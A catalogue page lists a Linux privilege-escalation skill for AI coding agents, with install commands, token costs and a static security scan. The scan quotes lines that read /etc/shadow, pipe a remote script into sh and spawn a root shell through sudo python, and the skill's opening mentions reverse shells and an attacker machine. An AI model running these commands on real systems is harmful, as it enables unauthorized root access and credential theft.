Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add skills/zebbern/claude-code-guide/linux-privilege-escalationnpx skills add zebbern/claude-code-guide --skill linux-privilege-escalationgit clone --depth 1 https://github.com/zebbern/claude-code-guideWhat it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5 | $0.00096 | $0.03258 |
| Opus 5 | $0.00048 | $0.01629 |
| Sonnet 5 | $0.00019 | $0.00652 |
| Haiku 4.5 | $0.00010 | $0.00326 |
Grade C, and why
linux-privilege-escalation scanned grade C with 5 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 3d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Asks for rootlowPrivilege escalation
A mod that escalates privileges can change anything on the machine, not only the project.
description: This skill should be used when the user asks to "escalate privileges on Linux", "find privesc vectors on Linux systems", "exploit sudo misconfigurations", "abuse SUID binaries", "exploit cron jobs for root a Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Reaches for credential filesmediumPrivilege escalation
SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.
LFILE=/etc/shadow Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Downloads and executes remote codemediumSupply chain
curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
sudo python -c 'import os; os.system("/bin/bash")' How it starts
The opening of the file, as written. The whole thing — 505 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Linux Privilege Escalation
Purpose
Execute systematic privilege escalation assessments on Linux systems to identify and exploit misconfigurations, vulnerable services, and security weaknesses that allow elevation from low-privilege user access to root-level control. This skill enables comprehensive enumeration and exploitation of kernel vulnerabilities, sudo misconfigurations, SUID binaries, cron jobs, capabilities, PATH hijacking, and NFS weaknesses.
Inputs / Prerequisites
Required Access
- Low-privilege shell access to target Linux system
- Ability to execute commands (interactive or semi-interactive shell)
- Network access for reverse shell connections (if needed)
- Attacker machine for payload hosting and receiving shells
Technical Requirements
- Understanding of Linux filesystem permissions and ownership
- Familiarity with common Linux utilities and scripting
- Knowledge of kernel versions and associated vulnerabilities
- Basic understanding of compilation (gcc) for custom exploits
Recommended Tools
- LinPEAS, LinEnum, or Linux Smart Enumeration scripts
- Linux Exploit Suggester (LES)
- GTFOBins reference for binary exploitation
- John the Ripper or Hashcat for password cracking
- Netcat or similar for reverse shells
Outputs / Deliverables
Primary Outputs
- Root shell access on target system
- Privilege escalation path documentation
- System enumeration findings report
- Recommendations for remediation
Evidence Artifacts
- Screenshots of successful privilege escalation
- Command output logs demonstrating root access
- Identified vulnerability details
- Exploited configuration files
Core Workflow
Phase 1: System Enumeration
Basic System Information
Gather fundamental system details for vulnerability research:
# Hostname and system role
hostname
# Kernel version and architecture
uname -a
# Detailed kernel information
cat /proc/version
# Operating system details
cat /etc/issue
cat /etc/*-release
# Architecture
arch
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 3d ago First seen · 505 lines · 96 tokens per session scan C 1a4900108960
linux-privilege-escalation is a skill published in the GitHub repository zebbern/claude-code-guide (4,597 stars, last pushed yesterday), licensed MIT. It adds 96 tokens to every session and 3,258 once invoked, about $0.0005 per session on Opus 5. A static security scan graded it C with 5 findings (asks for root, reaches for credential files, downloads and executes remote code). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
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